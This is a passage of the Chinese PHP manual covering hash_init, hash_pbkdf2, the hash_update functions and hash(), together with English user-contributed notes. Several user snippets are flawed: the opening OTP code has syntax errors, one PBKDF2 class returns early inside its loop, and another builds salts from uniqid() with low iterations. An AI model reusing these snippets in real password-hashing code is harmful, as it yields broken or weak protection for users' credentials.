   $offset = $hmac_result[19] & 0xf;

   // Algorithm from RFC
   return (
         (($hmac_result[$offset+0] & 0x7f) << 24 ) |
         (($hmac_result[$offset+1] & 0xff) << 16 ) |
         (($hmac_result[$offset+2] & 0xff) << 8 ) |
         ($hmac_result[$offset+3] & 0xff)
         ) % pow(10,$length);
}

print "<pre>";
print "Compare results with:"
print " http://tools.ietf.org/html/draft-mraihi-oath-hmac-otp-04\n";
print "Count\tHash\t\t\t\t\t\tPin\n";
for($i=0;$i<10;$i++)
   print $i."\t".($a=oath_hotp("12345678901234567890",$i))
   print "\t".oath_truncate($a)."\n";
Carlos Averett(caverett*@*corecodec,net) 03-Jul-2008 03:54
Generating OATH-compliant OTP (one time passwords) results in PHP:

<?php
$otp = oath_truncate (oath_hotp ($key, $counter), $length);
function oath_hotp ($key, $counter) {
        // Counter
        $bin_counter = pack ('C*', $counter);

        // Pad to 8 chars
        if (strlen ($bin_counter) < 8) {
                $bin_counter = str_repeat (chr(0), 8 - strlen ($bin_counter)) . $bin_counter;
        }

        // HMAC
        $hash = hash_hmac ('sha1', $bin_counter, $key);
        return $hash;
}

function oath_truncate ($hash, $length = 6) {
        // The last byte is used as an offset
        $offset = hexdec (substr ($hash, 38)) & 0xf;

        // Extract the relevant part, and clear the first bit
        $hex_truncated = substr ($hash, $offset * 2, 8);
        $bin_truncated = decbin (hexdec ($hex_truncated));
        $bin_truncated[0] = '0';
        $dec_truncated = bindec ($bin_truncated);

        return substr ($dec_truncated, 0 - $length);
}
?>


初始化增量散列运算上下文

  • ? hash_hmac
  • hash_pbkdf2 ?
  • PHP Manual
  • Hash 函数
  • 初始化增量散列运算上下文

hash_init

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_init — 初始化增量散列运算上下文

说明

hash_init(
string $algo,
int $flags = 0,
string $key = "",
array $options = []
): HashContext

参数

algo

要使用的散列算法名称，例如："md5"、"sha256"、"haval160,4"等。如何获取受支持的算法清单，请参见 hash_algos()。

flags

进行散列运算的可选设置，目前仅支持一个选项：HASH_HMAC。当指定此选项的时候，必须指定 key 参数。

key

当 flags 参数为 HASH_HMAC 时，使用此参数传入进行 HMAC 散列运算时的共享密钥。

options

各种散列算法的一系列选项数组。目前 MurmurHash 算法仅支持 "seed" 参数。

返回值

返回散列运算上下文对象，以供 hash_update()、hash_update_stream()、hash_update_file() 和 hash_final() 函数使用。

错误／异常

如果 algo 未知或非加密散列函数，或者 key 为空时，抛出 ValueError 异常。

更新日志

版本 | 说明
8.1.0 | 新增 options 参数。
8.0.0 | 如果 algo 未知或非加密散列函数，或者 key 为空时，现在抛出 ValueError 异常。之前返回 false 并发出 E_WARNING 消息。
7.2.0 | 当使用 HASH_HMAC 选项的时候，不再支持非加密的散列函数（adler32，crc32，crc32b，fnv132，fnv1a32，fnv164，fnv1a64，joaat）。
7.2.0 | 返回 HashContext 对象，不再返回资源类型。

示例

Example #1 增量散列运算示例

<?php
$hash = hash('sha256', 'The quick brown fox jumped over the lazy dog.');

$ctx = hash_init('sha256');
hash_update($ctx, 'The quick brown fox ');
hash_update($ctx, 'jumped over the lazy dog.');
$incremental_hash = hash_final($ctx);

echo $incremental_hash, PHP_EOL;
var_dump($hash === $incremental_hash);
?>

以上示例会输出：

68b1282b91de2c054c36629cb8dd447f12f096d3e3c587978dc2248444633483
bool(true)

参见

  • hash() - 生成散列值（消息摘要）
  • hash_algos() - 返回已注册的散列算法列表
  • hash_file() - 给指定文件的内容生成散列值
  • hash_hmac() - 使用 HMAC 方法生成带有密钥的散列值
  • hash_hmac_file() - 使用 HMAC 方法和给定文件的内容生成带密钥的散列值

User Contributed Notes

There are no user contributed notes for this page.


生成所提供密码的 PBKDF2 密钥导出

  • ? hash_init
  • hash_update_file ?
  • PHP Manual
  • Hash 函数
  • 生成所提供密码的 PBKDF2 密钥导出

hash_pbkdf2

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

hash_pbkdf2 — 生成所提供密码的 PBKDF2 密钥导出

说明

hash_pbkdf2(
string $algo,
string $password,
string $salt,
int $iterations,
int $length = 0,
bool $binary = false
): string

参数

algo

散列算法名称，例如 md5、sha256、haval160,4 等。 受支持的算法清单请参见 hash_algos()。

password

要进行导出的密码。

salt

进行导出时所使用的"盐"，这个值应该是随机生成的。

iterations

进行导出时的迭代次数。

length

密钥导出数据的长度。如果 binary 为 true， 此参数为密钥导出数据的字节长度。如果 binary 为 false， 此参数为密钥导出数据的字节长度的 2 倍，因为 1 个字节数据对应的 2 个 16 进制的字符。

如果传入 0，则使用所选算法的完整输出大小。

binary

设置为 true 输出原始二进制数据， 设置为 false 输出小写 16 进制字符串。

返回值

如果 binary 设置为 true， 则返回原始二进制数据表示的信息摘要， 否则返回 16 进制小写字符串格式表示的信息摘要。

错误／异常

在以下情况下会抛出 ValueError 异常：算法未知，iterations 小于等于 0，length 小于等于 0 或者 salt 过长（大于 INT_MAX - 4）。

更新日志

版本 | 说明
8.0.0 | 现在错误时将抛出 ValueError 异常。之前返回 false 并发出 E_WARNING 消息。
7.2.0 | 不再支持非加密的散列函数（adler32、crc32、crc32b、fnv132、fnv1a32、fnv164、fnv1a64、joaat）。

示例

Example #1 hash_pbkdf2() 示例，基础用法

<?php
$password = "password";
$iterations = 600000;

// 使用 random_bytes() 生成一个加密安全的随机盐。
$salt = random_bytes(16);

$hash = hash_pbkdf2("sha256", $password, $salt, $iterations, 20);
var_dump($hash);

// 对于原始二进制，$length 需要减半以获得相同的结果
$hash = hash_pbkdf2("sha256", $password, $salt, $iterations, 10, true);
var_dump(bin2hex($hash));?>
?>

以上示例的输出类似于：

string(20) "120fb6cffcf8b32c43e7"
string(20) "120fb6cffcf8b32c43e7"

注释

Caution

为了安全起见，可以使用 PBKDF2 方法对密码明文进行散列运算后再存储。但是更好的方案是使用 password_hash() 函数或者使用 CRYPT_BLOWFISH 算法调用 crypt() 函数。

参见

  • password_hash() - 创建密码的散列（hash）
  • hash_hkdf() - Generate a HKDF key derivation of a supplied key input
  • sodium_crypto_pwhash() - Derive a key from a password, using Argon2

User Contributed Notes

php - ober-mail - de 04-Feb-2021 12:57
If you are wondering what the requirements are for the salt, have a look at the RFC[1]:

"The salt parameter should be a random string containing at least 64 bits of entropy. That means when generated from a function like *mcrypt_create_iv*, at least 8 bytes long. But for salts that consist of only *a-zA-Z0-9* (or are base_64 encoded), the minimum length should be at least 11 characters. It should be generated random for each password that's hashed, and stored along side the generated key."

[1] https://wiki.php.net/rfc/hash_pbkdf2
php . ober-mail . de 04-Feb-2021 12:56
If you are wondering what the requirements are for the salt, have a look at the RFC[1]:

"The salt parameter should be a random string containing at least 64 bits of entropy. That means when generated from a function like *mcrypt_create_iv*, at least 8 bytes long. But for salts that consist of only *a-zA-Z0-9* (or are base_64 encoded), the minimum length should be at least 11 characters. It should be generated random for each password that's hashed, and stored along side the generated key."

[1] https://wiki.php.net/rfc/hash_pbkdf2
php at ober-mail dot de 04-Feb-2021 12:55
If you are wondering what the requirements are for the salt, have a look at the RFC[1]:

"The salt parameter should be a random string containing at least 64 bits of entropy. That means when generated from a function like *mcrypt_create_iv*, at least 8 bytes long. But for salts that consist of only *a-zA-Z0-9* (or are base_64 encoded), the minimum length should be at least 11 characters. It should be generated random for each password that's hashed, and stored along side the generated key."

[1] https://wiki.php.net/rfc/hash_pbkdf2
Yahe 19-Oct-2019 06:24
On an error hash_pbkdf2() will not just raise an E_WARNING but it will also return FALSE.
gfilippakis at sleed dot gr 02-Jul-2019 12:16
This is a very basic implementation of Rfc2898DeriveBytes class with only 2 of its constructors in case someone else finds it useful.

class Rfc2898DeriveBytes
{
    private $textToHash;
    private $saltByteSize;

    public $salt;

    public function __construct($arg1, $arg2)
    {
        if (is_string($arg1) && is_integer($arg2)) {
            $this->textToHash = $arg1;
            $this->saltByteSize = $arg2;
            $this->salt = substr(
                hex2bin(sha1(uniqid('', true))),
                0,
                $this->saltByteSize
            );
        } elseif (is_string($arg1) && is_string($arg2)) {
            $this->textToHash = $arg1;
            $this->salt = $arg2;
        }
    }

    public function getBytes($size)
    {
        return hash_pbkdf2(
            "sha1",
            $this->textToHash,
            $this->salt,
            1000,
            $size,
            true
        );
    }
}
Flimm 12-Jan-2018 04:56
Note that if $raw_output is false, then the output will be encoded using lowercase hexits. Some other systems (such as Django 2.0) use base64 instead. So if you're trying to generate hash strings that are compatible with those systems, you can use the base64_encode function, like this:

<?php

echo base64_encode( hash_pbkdf2( "sha256", "example password", "BbirbJq1C1G7", 100000, 0, true ) );

?>
clarence.pchy(at)gmail.com 06-Sep-2016 08:40
Please pay great attention to the **$length** parameter! It is exactly the **return string length**, NOT the length of raw binary hash result.

I had a big problem about this --
I thought that `hash_pbkdf2(...false)` should equals to `bin2hex(hash_pbkdf2(...true))` just like `md5($x)` equals `bin2hex(md5($x, true))`. However I was wrong:

hash_pbkdf2('sha256', '123456', 'abc', 10000, 50, false); // returns string(50) "584bc5b41005169f1fa15177edb78d75f9846afc466a4bae05"
hash_pbkdf2('sha256', '123456', 'abc', 10000, 50, true); // returns string(50) "XK???Qw?u??j?FjK???BFW?YpG    ?mp.g2?`;N?"
bin2hex(hash_pbkdf2('sha256', '123456', 'abc', 10000, 50, true)); // returns string(100) "584bc5b41005169f1fa15177edb78d75f9846afc466a4bae05119c82424657c81b5970471f098a6d702e6732b7603b194efe"

So I add such a note. Hope it will help someone else like me.
nimasdj [AT] yahoo [DOT] com 05-Jan-2016 12:08
There is a mistake in the class provided by Binod Kumar Luitel (http://php.net/manual/en/function.hash-pbkdf2.php#113488):
this line:
return bin2hex(substr($this->output, 0, $this->key_length));
must be changed to:
return substr(bin2hex($this->output), 0, $this->key_length);
Trevor Herselman 11-Nov-2015 01:45
This is a light-weight drop-in replacement for PHP's hash_pbkdf2(); written for compatibility with older versions of PHP.
Written, formatted and tested by myself, but using code and ideas based on the following:
https://defuse.ca/php-pbkdf2.htm
https://github.com/rchouinard/hash_pbkdf2-compat/blob/master/src/hash_pbkdf2.php
https://gist.github.com/rsky/5104756

My main goals:
1) Maximum compatibility with PHP hash_pbkdf2(), ie. a drop-in replacement function
2) Minimum code size/bloat
3) Easy to copy/paste
4) No classes, and not encapsulated in a class! Why write a class when a simple function will do?
5) Eliminate calls to sprintf(). (used by other examples for the error reporting)
6) No other dependencies, ie. extra required functions

<?php
if (!function_exists('hash_pbkdf2'))
{
    function hash_pbkdf2($algo, $password, $salt, $count, $length = 0, $raw_output = false)
    {
        if (!in_array(strtolower($algo), hash_algos())) trigger_error(__FUNCTION__ . '(): Unknown hashing algorithm: ' . $algo, E_USER_WARNING);
        if (!is_numeric($count)) trigger_error(__FUNCTION__ . '(): expects parameter 4 to be long, ' . gettype($count) . ' given', E_USER_WARNING);
        if (!is_numeric($length)) trigger_error(__FUNCTION__ . '(): expects parameter 5 to be long, ' . gettype($length) . ' given', E_USER_WARNING);
        if ($count <= 0) trigger_error(__FUNCTION__ . '(): Iterations must be a positive integer: ' . $count, E_USER_WARNING);
        if ($length < 0) trigger_error(__FUNCTION__ . '(): Length must be greater than or equal to 0: ' . $length, E_USER_WARNING);

        $output = '';
        $block_count = $length ? ceil($length / strlen(hash($algo, '', $raw_output))) : 1;
        for ($i = 1; $i <= $block_count; $i++)
        {
            $last = $xorsum = hash_hmac($algo, $salt . pack('N', $i), $password, true);
            for ($j = 1; $j < $count; $j++)
            {
                $xorsum ^= ($last = hash_hmac($algo, $last, $password, true));
            }
            $output .= $xorsum;
        }

        if (!$raw_output) $output = bin2hex($output);
        return $length ? substr($output, 0, $length) : $output;
    }
}
Peter 21-Nov-2013 03:03
See also https://github.com/rchouinard/hash_pbkdf2-compat for a compatibility function
does dot not at matter dot org 25-Oct-2013 03:30
this snippet was posted over a year ago on a dutch PHP community: (reference/source: http://www.phphulp.nl/php/script/beveiliging/pbkdf2-een-veilige-manier-om-wachtwoorden-op-te-slaan/1956/pbkdf2php/1757/)

<?php

/**
 * @author Chris Horeweg
 * @package Security_Tools
 */

function pbkdf2($password, $salt, $algorithm = 'sha512', $count = 20000, $key_length = 128, $raw_output = false)
{
    if(!in_array($algorithm, hash_algos(), true)) {
        exit('pbkdf2: Hash algoritme is niet geinstalleerd op het systeem.');
    }

    if($count <= 0 || $key_length <= 0) {
        $count = 20000;
        $key_length = 128;
    }

    $hash_length = strlen(hash($algorithm, "", true));
    $block_count = ceil($key_length / $hash_length);

    $output = "";
    for($i = 1; $i <= $block_count; $i++) {
        $last = $salt . pack("N", $i);
        $last = $xorsum = hash_hmac($algorithm, $last, $password, true);
        for ($j = 1; $j < $count; $j++) {
            $xorsum ^= ($last = hash_hmac($algorithm, $last, $password, true));
        }
        $output .= $xorsum;
    }

    if($raw_output) {
        return substr($output, 0, $key_length);
    }
    else {
        return base64_encode(substr($output, 0, $key_length));
    }
}
Binod Kumar Luitel 17-Oct-2013 10:25
People who wants pure PHP implementation of the function, i.e. who don't have PHP 5.5 installed within their server, can use the following implementation. Nothing has been modified so far as from reference https://defuse.ca/php-pbkdf2.htm but the OOP lovers might like this.
For more information about PBKDF2 see: http://en.wikipedia.org/wiki/PBKDF2

<?php
/**
 * PBKDF2 key derivation function as defined by RSA's PKCS #5: https://www.ietf.org/rfc/rfc2898.txt
 * $algorithm - The hash algorithm to use. Recommended: SHA256
 * $password - The password.
 * $salt - A salt that is unique to the password.
 * $count - Iteration count. Higher is better, but slower. Recommended: At least 1000.
 * $key_length - The length of the derived key in bytes.
 * $raw_output - If true, the key is returned in raw binary format. Hex encoded otherwise.
 * Returns: A $key_length-byte key derived from the password and salt.
 */
if (!function_exists("hash_pbkdf2")) {
    function hash_pbkdf2($algorithm, $password, $salt, $count, $key_length, $raw_output = false) {

        class pbkdf2 {
            public $algorithm;
            public $password;
            public $salt;
            public $count;
            public $key_length;
            public $raw_output;

            private $hash_length;
            private $output         = "";

            public function __construct($data = null)
            {
                if ($data != null) {
                    $this->init($data);
                }
            }

            public function init($data)
            {
                $this->algorithm  = $data["algorithm"];
                $this->password   = $data["password"];
                $this->salt       = $data["salt"];
                $this->count      = $data["count"];
                $this->key_length = $data["key_length"];
                $this->raw_output = $data["raw_output"];
            }

            public function hash()
            {
                $this->algorithm = strtolower($this->algorithm);
                if(!in_array($this->algorithm, hash_algos(), true))
                    throw new Exception('PBKDF2 ERROR: Invalid hash algorithm.');

                if($this->count <= 0 || $this->key_length <= 0)
                    throw new Exception('PBKDF2 ERROR: Invalid parameters.');

                $this->hash_length = strlen(hash($this->algorithm, "", true));
                $block_count = ceil($this->key_length / $this->hash_length);
                for ($i = 1; $i <= $block_count; $i++) {
                    // $i encoded as 4 bytes, big endian.
                    $last = $this->salt . pack("N", $i);
                    // first iteration
                    $last = $xorsum = hash_hmac($this->algorithm, $last, $this->password, true);
                    // perform the other $this->count - 1 iterations
                    for ($j = 1; $j < $this->count; $j++) {
                        $xorsum ^= ($last = hash_hmac($this->algorithm, $last, $this->password, true));
                    }
                    $this->output .= $xorsum;
                    if($this->raw_output)
                        return substr($this->output, 0, $this->key_length);
                    else
                        return bin2hex(substr($this->output, 0, $this->key_length));
                }
            }
        }

        $data = array('algorithm' => $algorithm, 'password' => $password, 'salt' => $salt, 'count' => $count, 'key_length' => $key_length, 'raw_output' => $raw_output);
        try {
            $pbkdf2 = new pbkdf2($data);
            return $pbkdf2->hash();
        } catch (Exception $e) {
            throw $e;
        }
    }
}
Anonymous 13-Jul-2013 04:29
Sadly this function was added in PHP 5.5 but many webservers just provide PHP 5.3. But there exists a pure PHP implementation (found here: https://defuse.ca/php-pbkdf2.htm).
I took this implementation, put it into a class with comments for PHPDoc and added a switch so that the native PHP function is used if available.

Feel free to use it!
http://pastebin.com/f5PDq735
(Posted on pastebin.com since the text would have been too long)


从文件向活跃的散列运算上下文中填充数据

  • ? hash_pbkdf2
  • hash_update_stream ?
  • PHP Manual
  • Hash 函数
  • 从文件向活跃的散列运算上下文中填充数据

hash_update_file

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_update_file — 从文件向活跃的散列运算上下文中填充数据

说明

hash_update_file(HashContext $context, string $filename, ?resource $stream_context = null): bool

参数

context

由 hash_init() 函数返回的散列运算上下文。

filename

要进行散列运算的文件路径，支持 fopen 封装器。

stream_context

由 stream_context_create() 函数返回的流上下文。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | stream_context 现在可以为 null。
7.2.0 | 接收参数从资源类型修改为 HashContext 对象类型。

参见

  • hash_init() - 初始化增量散列运算上下文
  • hash_update() - 向活跃的哈希运算上下文中填充数据
  • hash_update_stream() - 从打开的流向活跃的散列运算上下文中填充数据
  • hash_final() - 结束增量散列且返回摘要结果
  • hash() - 生成散列值（消息摘要）
  • hash_file() - 给指定文件的内容生成散列值

User Contributed Notes

There are no user contributed notes for this page.


从打开的流向活跃的散列运算上下文中填充数据

  • ? hash_update_file
  • hash_update ?
  • PHP Manual
  • Hash 函数
  • 从打开的流向活跃的散列运算上下文中填充数据

hash_update_stream

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_update_stream — 从打开的流向活跃的散列运算上下文中填充数据

说明

hash_update_stream(HashContext $context, resource $stream, int $length = -1): int

参数

context

由 hash_init() 函数返回的散列运算上下文。

stream

创建流的函数返回的打开的文件句柄。

length

要从 stream 向活跃的散列运算上下文中拷贝的最大字符数。

返回值

从 stream 向散列运算上下文中实际填充的字节数量。

更新日志

版本 | 说明
7.2.0 | 接收参数从资源类型修改为 HashContext 对象类型。

示例

Example #1 hash_update_stream() 示例

<?php
$fp = tmpfile();
fwrite($fp, 'jumped over the lazy dog.');
rewind($fp);

$ctx = hash_init('sha256');
hash_update($ctx, 'The quick brown fox ');
hash_update_stream($ctx, $fp);
echo hash_final($ctx);
?>

以上示例会输出：

68b1282b91de2c054c36629cb8dd447f12f096d3e3c587978dc2248444633483

参见

  • hash_init() - 初始化增量散列运算上下文
  • hash_update() - 向活跃的哈希运算上下文中填充数据
  • hash_final() - 结束增量散列且返回摘要结果
  • hash() - 生成散列值（消息摘要）
  • hash_file() - 给指定文件的内容生成散列值

User Contributed Notes

qiuty at mail dot ru 31-May-2021 05:44
This can be obvious, but hash_update_stream() move file pointer. So, use rewind(), if you plan to read the file after hashing.


向活跃的哈希运算上下文中填充数据

  • ? hash_update_stream
  • hash ?
  • PHP Manual
  • Hash 函数
  • 向活跃的哈希运算上下文中填充数据

hash_update

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_update — 向活跃的哈希运算上下文中填充数据

说明

hash_update(HashContext $context, string $data): bool

参数

context

由 hash_init() 函数返回的哈希运算上下文。

data

要向哈希摘要中追加的数据。

返回值

返回 true。

更新日志

版本 | 说明
7.2.0 | 接收参数从资源类型修改为 HashContext 对象类型。

参见

  • hash_init() - 初始化增量散列运算上下文
  • hash_update_file() - 从文件向活跃的散列运算上下文中填充数据
  • hash_update_stream() - 从打开的流向活跃的散列运算上下文中填充数据
  • hash_final() - 结束增量散列且返回摘要结果

User Contributed Notes

Dainichi 24-Jul-2006 06:19
A simple example on incremental file hashing:

$fp = fopen($file, "r");
$ctx = hash_init('sha256');
while (!feof($fp)) {
    $buffer = fgets($fp, 65536);
    hash_update($ctx, $buffer);
}
$hash = hash_final($ctx, true);
fclose($fp);

While incremental hashing is quite slow, it's the easiest way to hash
- parts of large files: I.e., a 700MB avi video uses first x bytes to store metadata, so in order to hash the avi's data only, you have to fseek to data start and use incremental hashing
- streaming data if php just proxies the data
- whenever it's inadequate or impossible to store the data being hashed into memory (i.e. because of their size) or on disc.


生成散列值（消息摘要）

  • ? hash_update
  • Mcrypt ?
  • PHP Manual
  • Hash 函数
  • 生成散列值（消息摘要）

hash

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash — 生成散列值（消息摘要）

说明

hash(
string $algo,
string $data,
bool $binary = false,
array $options = []
): string

参数

algo

要使用的散列算法，例如："md5"、"sha256"、"haval160,4"等。在 hash_algos() 中查看支持的算法。

data

要进行散列运算的消息。

binary

设置为 true 输出原始二进制数据， 设置为 false 输出小写 16 进制字符串。

options

各种散列算法的一系列选项数组。目前 MurmurHash 算法仅支持 "seed" 参数。

返回值

如果 binary 设置为 true， 则返回原始二进制数据表示的信息摘要， 否则返回 16 进制小写字符串格式表示的信息摘要。

更新日志

版本 | 说明
8.1.0 | 新增 options 参数。
8.0.0 | 如果 algo 未知，现在 hash() 将抛出 ValueError 异常，之前返回 false。

示例

Example #1 hash() 示例

<?php
echo hash('sha256', 'The quick brown fox jumped over the lazy dog.');
?>

以上示例会输出：

68b1282b91de2c054c36629cb8dd447f12f096d3e3c587978dc2248444633483

参见

  • hash_file() - 给指定文件的内容生成散列值
  • hash_hmac() - 使用 HMAC 方法生成带有密钥的散列值
  • hash_init() - 初始化增量散列运算上下文
  • md5() - 计算字符串的 MD5 散列值
  • sha1() - 计算字符串的 sha1 散列值

User Contributed Notes

Anonymous 16-Apr-2020 04:19
<?PHP
function allhash($d){
    foreach(hash_algos() as $v){
        $r[] = "$v\t Length: ".strlen(hash($v, $d));
    }
    return $r;
}

print_r(allhash(1));
?>
output:

Array
(
    [0] => md2   Length: 32
    [1] => md4   Length: 32
    [2] => md5   Length: 32
    [3] => sha1  Length: 40
    [4] => sha224        Length: 56
    [5] => sha256        Length: 64
    [6] => sha384        Length: 96
    [7] => sha512/224    Length: 56
    [8] => sha512/256    Length: 64
    [9] => sha512        Length: 128
    [10] => sha3-224     Length: 56
    [11] => sha3-256     Length: 64
    [12] => sha3-384     Length: 96
    [13] => sha3-512     Length: 128
    [14] => ripemd128    Length: 32
    [15] => ripemd160    Length: 40
    [16] => ripemd256    Length: 64
    [17] => ripemd320    Length: 80
    [18] => whirlpool    Length: 128
    [19] => tiger128,3   Length: 32
    [20] => tiger160,3   Length: 40
    [21] => tiger192,3   Length: 48
    [22] => tiger128,4   Length: 32
    [23] => tiger160,4   Length: 40
    [24] => tiger192,4   Length: 48
    [25] => snefru       Length: 64
    [26] => snefru256    Length: 64
    [27] => gost         Length: 64
    [28] => gost-crypto  Length: 64
    [29] => adler32      Length: 8
    [30] => crc32        Length: 8
    [31] => crc32b       Length: 8
    [32] => crc32c       Length: 8
    [33] => fnv132       Length: 8
    [34] => fnv1a32      Length: 8
    [35] => fnv164       Length: 16
    [36] => fnv1a64      Length: 16
    [37] => joaat        Length: 8
    [38] => haval128,3   Length: 32
    [39] => haval160,3   Length: 40
    [40] => haval192,3   Length: 48
    [41] => haval224,3   Length: 56
    [42] => haval256,3   Length: 64
    [43] => haval128,4   Length: 32
    [44] => haval160,4   Length: 40
    [45] => haval192,4   Length: 48
    [46] => haval224,4   Length: 56
    [47] => haval256,4   Length: 64
    [48] => haval128,5   Length: 32
    [49] => haval160,5   Length: 40
    [50] => haval192,5   Length: 48
    [51] => haval224,5   Length: 56
    [52] => haval256,5   Length: 64
)
synnus at gmail dot com 15-Dec-2019 12:07
<?php

/* PHP 7.4

n°   hash  results
1.   adler32 (hex)       555.992 ms
2.   adler32 (raw)       556.945 ms
3.   fnv132 (raw)        1107.931 ms
4.   fnv1a64 (raw)       1107.931 ms
5.   fnv164 (raw)        1108.169 ms
6.   fnv1a32 (raw)       1108.884 ms
7.   fnv164 (hex)        1108.884 ms
8.   fnv1a64 (hex)       1109.123 ms
9.   fnv132 (hex)        1116.991 ms
10.  fnv1a32 (hex)       1147.985 ms
11.  tiger192,3 (raw)    1523.017 ms
12.  tiger192,3 (hex)    1532.077 ms
13.  tiger128,3 (hex)    1538.038 ms
14.  tiger128,3 (raw)    1546.144 ms
15.  md4 (raw)           1554.965 ms
16.  md4 (hex)           1565.933 ms
17.  tiger160,3 (raw)    1574.039 ms
18.  tiger160,3 (hex)    1588.106 ms
19.  joaat (hex)         1661.777 ms
20.  joaat (raw)         1662.969 ms
21.  md5 (raw)           1822.948 ms
22.  md5 (hex)           1842.975 ms
23.  tiger160,4 (hex)    1996.994 ms
24.  tiger160,4 (raw)    2007.961 ms
25.  tiger128,4 (raw)    2035.14 ms
26.  tiger192,4 (raw)    2043.962 ms
27.  tiger128,4 (hex)    2065.896 ms
28.  tiger192,4 (hex)    2070.903 ms
29.  sha1 (hex)          2254.009 ms
30.  sha1 (raw)          2326.011 ms
31.  sha3-224 (hex)      2768.039 ms
32.  sha3-224 (raw)      2783.06 ms
33.  sha512 (hex)        2936.124 ms
34.  sha512 (raw)        2943.992 ms
35.  sha3-256 (hex)      2945.899 ms
36.  sha3-256 (raw)      2970.933 ms
37.  sha512/224 (raw)    2990.007 ms
38.  sha384 (raw)        3006.935 ms
39.  sha512/224 (hex)    3010.988 ms
40.  sha512/256 (raw)    3024.101 ms
41.  sha384 (hex)        3036.975 ms
42.  ripemd256 (raw)     3068.923 ms
43.  ripemd256 (hex)     3072.023 ms
44.  ripemd128 (raw)     3077.03 ms
45.  ripemd128 (hex)     3123.998 ms
46.  sha512/256 (hex)    3184.08 ms
47.  haval256,3 (hex)    3671.884 ms
48.  haval224,3 (hex)    3776.073 ms
49.  sha3-384 (hex)      3777.98 ms
50.  haval128,3 (raw)    3823.041 ms
51.  haval128,3 (hex)    3829.002 ms
52.  sha3-384 (raw)      3835.916 ms
53.  haval256,3 (raw)    3852.128 ms
54.  haval224,3 (raw)    3855.943 ms
55.  haval160,3 (raw)    3859.996 ms
56.  haval160,3 (hex)    3862.857 ms
57.  haval192,3 (raw)    3892.898 ms
58.  haval192,3 (hex)    3922.939 ms
59.  crc32c (hex)        4080.057 ms
60.  ripemd160 (hex)     4091.024 ms
61.  ripemd160 (raw)     4094.123 ms
62.  ripemd320 (raw)     4114.866 ms
63.  crc32b (hex)        4116.058 ms
64.  crc32 (raw)         4118.919 ms
65.  ripemd320 (hex)     4175.186 ms
66.  crc32c (raw)        4180.908 ms
67.  crc32 (hex)         4194.974 ms
68.  crc32b (raw)        4208.803 ms
69.  sha224 (hex)        4735.946 ms
70.  sha256 (raw)        4753.112 ms
71.  sha256 (hex)        4761.934 ms
72.  sha224 (raw)        4762.887 ms
73.  haval192,4 (raw)    5304.098 ms
74.  haval160,4 (raw)    5308.151 ms
75.  haval128,4 (raw)    5323.886 ms
76.  haval192,4 (hex)    5346.059 ms
77.  haval128,4 (hex)    5351.066 ms
78.  haval256,4 (hex)    5367.04 ms
79.  haval256,4 (raw)    5378.007 ms
80.  haval224,4 (raw)    5398.988 ms
81.  haval224,4 (hex)    5413.055 ms
82.  sha3-512 (raw)      5460.023 ms
83.  sha3-512 (hex)      5527.973 ms
84.  haval160,4 (hex)    5529.88 ms
85.  haval192,5 (hex)    6403.923 ms
86.  haval160,5 (raw)    6499.052 ms
87.  haval128,5 (raw)    6513.833 ms
88.  haval160,5 (hex)    6540.06 ms
89.  haval128,5 (hex)    6541.013 ms
90.  haval192,5 (raw)    6566.047 ms
91.  haval224,5 (raw)    6567.001 ms
92.  haval256,5 (hex)    6577.014 ms
93.  haval224,5 (hex)    6598.949 ms
94.  haval256,5 (raw)    6598.949 ms
95.  whirlpool (raw)     9627.103 ms
96.  whirlpool (hex)     9634.017 ms
97.  gost (raw)          18457.889 ms
98.  gost-crypto (raw)   18479.824 ms
99.  gost (hex)          18527.03 ms
100.  gost-crypto (hex)  18530.13 ms
101.  snefru256 (hex)    36260.843 ms
102.  snefru256 (raw)    36325.931 ms
103.  snefru (hex)       36480.903 ms
104.  snefru (raw)       36496.877 ms
105.  md2 (raw)          184617.996 ms
106.  md2 (hex)          185398.101 ms

*/
?>
Ricardo Striquer (ricardophp yohoocombr) 21-Sep-2018 04:46
I haven't done any test or actual study (I'm using crc32 and storing it in mysql signed int types), but if your algorithm of choice is bigger them the supported integer of your database I suppose it is possible that the raw_format option is the best option to store directly in the database without type casting demands for it results in a binary string value.

To check if your algorithm of choice have the supported integer size in your database just strlen the raw_format output and see how many bytes it have (for example: crc32 have 4 bytes output, sha256 have 32 e md5 possue 16).

<?php
var_dump(strlen(hash('md5', 'string to check', true))); // int(16)
?>

PS: You can always use floating points to store a very big number but for "common humans" binary types by and large are easier to check, understand and maintain, so i recommend to use binary, but if you are about speed them floating point could be your friend.

PS: remembering ... without the raw_format the returned value are hexadecimal values without the 'Hx' complement, so to transform the result into a decimal just hexdec as shown ...

<?php
var_dump(hexdec(hash('crc32b', 'string to check'))); // int(1206832624)
?>

PS: Just registering ... I have noticed here some tests where 'crc32' is slower than md5, AFAIK by definition a CRC32 algorithm (there are several algorithms to calculate CRC32) is faster than MD5 and Adler-32 is faster than CRC32 (CRC32 is more consistent than Adler-32, less consistent than MD5, but if you want to safely validate the recommended would be SHA256 or better yet SHA512 because they are less likely to collide, so less vulnerable to collision attacks)
jrz [dot] agarcia [at] gmail [dot] com 31-May-2018 07:22
I was curious about hashes behavior (time and length), so i ran this code (yeah, I'm cheating because i took two examples from this page)
<?php
  echo "Building data...";
  $data = "";
  for($i = 0; $i < 1500; $i++)
    $data .= sha1("H:k - $i - k:H");

  echo "OK! (".strlen($data)." bytes)".PHP_EOL;

  $res = [];

  echo "Testing hashes.....".PHP_EOL;

  foreach (hash_algos() as $algo) {
    $time = microtime(1);
    $hash = hash($algo, $data);
    $time = (microtime(1) - $time) * 1000;
    $length = strlen($hash);

    $res["$time"][] = [
      "algo"   => "HEX-$algo",
      "length" => "$length",
      "time"   => sprintf("%.8f", $time)
    ];

    $time = microtime(1);
    hash($algo, $data, 1);
    $time = (microtime(1) - $time) * 1000;

    $res["$time"][] = [
      "algo"   => "RAW-$algo",
      "length" => "$length",
      "time"   => sprintf("%.8f", $time)
    ];
  }

  ksort($res);
  $i = 0;

  echo "Results:".PHP_EOL;
